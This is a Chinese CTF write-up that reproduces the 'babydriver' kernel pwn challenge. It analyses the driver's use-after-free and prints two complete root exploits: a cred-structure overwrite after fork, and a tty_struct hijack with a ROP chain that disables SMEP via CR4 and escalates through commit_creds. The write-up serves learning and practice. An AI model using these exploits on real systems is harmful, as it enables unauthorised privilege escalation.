babydriver 复现
首先使用 boot.sh 启动 kernel:
1 2 3 ➜ babydriver ./boot.sh Could not access KVM kernel module : No such file or directory qemu-system-x86_64: failed to initialize KVM: No such file or directory
未能初始化 kvm,大概率是因为系统不支持虚拟化
可以通过如下命令检查是否支持:
1 egrep '^flags.*(vmx|svm)' /proc/cpuinfo
如果输出 NULL 则代表不支持,具体的解决措施网上都有
然后用如下命令解压 rootfs.cpio:
1 2 mv ../rootfs.cpio rootfs.cpio.gz gunzip ./rootfs.cpio.gz
PS:这个 rootfs.cpio 其实是个压缩包,不过它省略了后缀“.gz”,这里需要先改名后解压
用如下命令进行提取:
1 cpio -idmv < rootfs.cpio
先看看 init:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ➜ babydriver cat init # !/bin/sh mount -t proc none /proc # mount:挂载 mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag # 设置文件所有者和文件关联组(只有root权限才能拿flag) chmod 400 flag # 尖括号可以将数据从一个地方转移到另一个地方 exec 0</dev/console # 将/dev/console设备,重定向为标准输入 exec 1>/dev/console # 将标准输出,重定向为/dev/console设备 exec 2>/dev/console # 将标准错误,重定向为/dev/console设备 insmod /lib/modules/4.4.72/babydriver.ko # 添加了babydriver.ko驱动(可能有洞) chmod 777 /dev/babydev # babydev全权限 echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" # 打印一句话 setsid cttyhack setuidgid 1000 sh # 设置用户ID(和权限相关) umount /proc # umount:取消挂载 umount /sys poweroff -d 0 -f
这个 babydev 是人为添加的一个文件,可以把它认为是一个虚拟外设(有点类似于键盘缓冲区之类的东西)
一般 kernel pwn 都会在驱动函数那里设置漏洞,把它拿出来:
1 2 3 4 5 6 7 ➜ babydriver checksec babydriver.ko [*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/CISCN2017_babydriver/babydriver/babydriver.ko' Arch: amd64-64 -little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x0 )
用IDA分析 babydriver.ko:
和上一个 kernel pwn 不同,这个 IDA 分析的还是很清楚的,原因就在于它没有去除符号表
init_module:初始化模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 void __fastcall init_module () { __int64 v0; if ( (int )alloc_chrdev_region(&babydev_no, 0LL , 1LL , "babydev" ) < 0 ) { printk("13alloc_chrdev_region failed\n" ); return ; } cdev_init(&cdev, &fops); qword_D60 = (__int64)&_this_module; if ( (int )cdev_add(&cdev, (unsigned int )babydev_no, 1LL ) >= 0 ) { v0 = _class_create(&_this_module, "babydev" , &babydev_no); babydev_class = v0; if ( v0 ) { if ( device_create(v0, 0LL , (unsigned int )babydev_no, 0LL , "babydev" ) ) return ; printk("13create device failed" , 0LL , 0LL ); class_destroy(babydev_class); } else { printk("13create class failed" ); } cdev_del(&cdev); } else { printk("13cdev init failed\n" ); } unregister_chrdev_region((unsigned int )babydev_no, 1LL ); }
值得注意的是:该程序把“驱动函数”和“babydev”进行了绑定(申请了一个名为“babydev”的设备,该驱动文件 babydriver.ko 就是为设备“babydev”为生的)
babyioctl:定义驱动函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void __fastcall babyioctl (FILE *fp, unsigned int command, __int64 arg) { __int64 v3; __int64 size; _fentry__(fp, command); size = v3; if ( command == 0x10001 ) { kfree(babydev_struct.device_buf); babydev_struct.device_buf = _kmalloc(size, 0x24000C0 LL); babydev_struct.device_buf_len = size; printk("alloc done\n" ); } else { printk("13defalut:arg is %ld\n" , v3); } }
定义了 0x10001 的命令:释放全局变量 babydev_struct 中的 device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len
babyopen:打开文件
1 2 3 4 5 6 7 void __fastcall babyopen (inode *inode, FILE *fp) { _fentry__(inode, fp); babydev_struct.device_buf = kmem_cache_alloc_trace(kmalloc_caches[6 ], 0x24000C0 LL, 64LL ); babydev_struct.device_buf_len = 64LL ; printk("device open\n" ); }
申请一块 64 字节的空间,地址存储在全局变量 babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len
babyread:读文件
1 2 3 4 5 6 7 8 9 10 11 void __fastcall babyread (FILE *fp, char *buf) { unsigned __int64 size; _fentry__(fp, buf); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > size ) copy_to_user(buf, babydev_struct.device_buf, size); } }
先检查 babydev_struct.device_buf 中是否有数据
再检查用户申请的长度 size 是否大于 babydev_struct.device_buf
然后调用 copy_to_user 把内核数据 babydev_struct.device_buf 拷贝到用户缓冲区 buf
babywrite:写文件
1 2 3 4 5 6 7 8 9 10 11 void __fastcall babywrite (FILE *fp, char *buf) { unsigned __int64 size; _fentry__(fp, buf); if ( babydev_struct.device_buf ) { if ( babydev_struct.device_buf_len > size ) copy_from_user(babydev_struct.device_buf, buf, size); } }
先检查 babydev_struct.device_buf 中是否有数据
再检查用户申请的长度 size 是否大于 babydev_struct.device_buf
然后调用 copy_from_user 把用户缓冲区 buf 拷贝到内核数据 babydev_struct.device_buf
babyrelease:关闭文件
1 2 3 4 5 6 void __fastcall babyrelease (inode *inode, FILE *fp) { _fentry__(inode, fp); kfree(babydev_struct.device_buf); printk("device release\n" ); }
入侵思路
存在一个 伪条件竞争引发的UAF漏洞 ,即当我们同时打开两个设备,第二次会覆盖第一次分配的空间(因为 babydev_struct
是全局的),也就是说,两个设备共用了一个 babydev_struct
如果这时释放第一个,那么第二个其实是被释放过的,这样就造成了一个UAF,我们可以通过UAF修改 cred
结构体来提权
那么根据 UAF 的思想,入侵步骤如下:
打开两次设备,通过 ioctl 更改其大小为 cred 结构体的大小
释放其中一个,fork 一个新进程,那么这个新进程的 cred 的空间就会和之前释放的空间重叠
同时,我们可以通过另一个文件描述符对这块空间写,只需要将 uid,gid 改为 0,即可以实现提权到 root
注意:fork() 在创建新进程时,会先 kmalloc 一个内存空间用于存放新进程的 cred,这时就会申请到我们可以控制的那片内存,从而修改 cred
分析官方exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/stat.h> int main () { int fd1 = open("/dev/babydev" , 2 ); int fd2 = open("/dev/babydev" , 2 ); ioctl(fd1, 0x10001 , 0xa8 ); close(fd1); int pid = fork(); if (pid < 0 ) { puts ("[*] fork error!" ); exit (0 ); } else if (pid == 0 ) { char zeros[30 ] = {0 }; write(fd2, zeros, 28 ); if (getuid() == 0 ) { puts ("[+] root now." ); system("/bin/sh" ); exit (0 ); } } else { wait(NULL ); } close(fd2); return 0 ; }
根据驱动函数:对文件描述符FD进行操作,就是直接控制“babydev_struct”,进而间接控制“cred”
bypass-smep
本题目还有另一种做法:绕过 smep 来实现 ret2usr(smep:当 CPU 处于 ring0
模式时,执行用户空间的代码会触发页错误)
系统根据 CR4 寄存器的值判断是否开启 smep 保护
smep 开启:
1 $CR4 = 0x1407f0 = 10100 0000 0111 1111 0000
1 $CR4 = 0x1407e0 = 10100 0000 0111 1110 0000
而 CR4 寄存器是可以通过 mov 指令修改的:
先用 extract-vmlinux 获取 vmlinux:
1 ➜ babydriver ./extract-vmlinux ./bzImage > vmlinux
然后使用 Ropper 来寻找 gadget:
1 2 3 4 5 6 ➜ babydriver time ropper --file ./vmlinux --nocolor > g1 [INFO] Load gadgets for section: LOAD [LOAD] loading... 100 % [LOAD] removing double gadgets... 100 % ropper --file ./vmlinux --nocolor > g1 234.87 s user 32.60 s system 139 % cpu 3 :11.53 total
先写一个脚本来查找“commit_creds”和“prepare_kernel_cred”(没有开 PIE 和 Kaslr)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> size_t commit_creds = 0 ;size_t prepare_kernel_cred = 0 ;size_t find_symbols () { FILE* kallsyms_fd = fopen("/proc/kallsyms" , "r" ); if (kallsyms_fd < 0 ) { puts ("[*]open kallsyms error!" ); exit (0 ); } char buf[0x30 ] = {0 }; while (fgets(buf, 0x30 , kallsyms_fd)) { if (commit_creds & prepare_kernel_cred) return 0 ; if (strstr (buf, "commit_creds" ) && !commit_creds) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &commit_creds); printf ("commit_creds addr: %p\n" , commit_creds); } if (strstr (buf, "prepare_kernel_cred" ) && !prepare_kernel_cred) { char hex[20 ] = {0 }; strncpy (hex, buf, 16 ); sscanf (hex, "%llx" , &prepare_kernel_cred); printf ("prepare_kernel_cred addr: %p\n" , prepare_kernel_cred); } } if (!(prepare_kernel_cred & commit_creds)) { puts ("[*]Error!" ); exit (0 ); } } int main () { find_symbols(); return 0 ; }
1 2 3 / $ /tmp/find commit_creds addr: 0xffffffff810a1420 prepare_kernel_cred addr: 0xffffffff810a1810
接下来就说一下攻击的原理:
先通过 uaf 控制一个 tty_struct
结构(在 open("/dev/ptmx", O_RDWR)
时会分配)
tty_struct->tty_operations
中有许多函数指针可以用来劫持
进行 stack pivot(栈迁移)到 rop 链的空间
官方exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define prepare_kernel_cred_addr 0xffffffff810a1810 #define commit_creds_addr 0xffffffff810a1420 void * fake_tty_operations[30 ];size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void get_shell () { system("/bin/sh" ); } void get_root () { char * (*pkc)(int ) = prepare_kernel_cred_addr; void (*cc)(char *) = commit_creds_addr; (*cc)((*pkc)(0 )); } int main () { save_status(); int i = 0 ; size_t rop[32 ] = {0 }; rop[i++] = 0xffffffff810d238d ; rop[i++] = 0x6f0 ; rop[i++] = 0xffffffff81004d80 ; rop[i++] = 0 ; rop[i++] = (size_t )get_root; rop[i++] = 0xffffffff81063694 ; rop[i++] = 0 ; rop[i++] = 0xffffffff814e35ef ; rop[i++] = (size_t )get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; for (int i = 0 ; i < 30 ; i++) { fake_tty_operations[i] = 0xFFFFFFFF8181BFC5 ; } fake_tty_operations[0 ] = 0xffffffff810635f5 ; fake_tty_operations[1 ] = (size_t )rop; fake_tty_operations[3 ] = 0xFFFFFFFF8181BFC5 ; int fd1 = open("/dev/babydev" , O_RDWR); int fd2 = open("/dev/babydev" , O_RDWR); ioctl(fd1, 0x10001 , 0x2e0 ); close(fd1); int fd_tty = open("/dev/ptmx" , O_RDWR|O_NOCTTY); size_t fake_tty_struct[4 ] = {0 }; read(fd2, fake_tty_struct, 32 ); fake_tty_struct[3 ] = (size_t )fake_tty_operations; write(fd2,fake_tty_struct, 32 ); char buf[0x8 ] = {0 }; write(fd_tty, buf, 8 ); return 0 ; }
为了理解这个 exp,我们调试一下:
获取 babydrive 模块的加载地址:(在 “/sys/module/” 中是加载的各个模块的信息)
1 2 / $ cat /sys/module /babydriver/sections/.text 0xffffffffc0000000
1 2 3 4 pwndbg> add-symbol-file babydriver.ko 0xffffffffc0000000 add symbol table from file "babydriver.ko" at .text_addr = 0xffffffffc0000000 Reading symbols from babydriver.ko...
在执行“write(fd_tty, buf, 8)”(“fake_tty_operations[7]-0xffffffff8181bfc5”)前停止
此时RAX为:“fake_tty_operations[0]-0xffffffff810635f5”(通过这个“rax + 0x38”可以看出来)
接下来就会执行:“mov rsp,rax ; dec ebx ; ret”(“fake_tty_operations[7]-0xffffffff8181bfc5”)
栈迁移为:“fake_tty_operations[0]-0xffffffff810635f5”
接着“ret”执行ROP链(“fake_tty_operations[1]”)
最后在ROP链中 bypass-smep ,并且用 ret2usr 进行提权
这里我要吐槽一句:kernel 的调试实在是太慢了,“ni”要足足执行一秒钟,还有这个 exp 是打不通的,必须把 boot.sh 中的 -enable-kvm 去掉才可以打通(快搞死我了)
小结:
这是我的第二个 kernel pwn,感觉顺畅多了,这个题目给我提供了另一个提权的思路:UAF
目前有许多概念很是陌生,比如这个“cdev结构体”,我感觉它和 ucore 中的“vdev结构体”很像,但是就是不了解“cdev结构体”与其背后的机制
从 ucore 到 Linux 还是有距离的,那天抽时间整理一下 Linux 内核的知识
还有 kernel 是真的不好调试,太慢了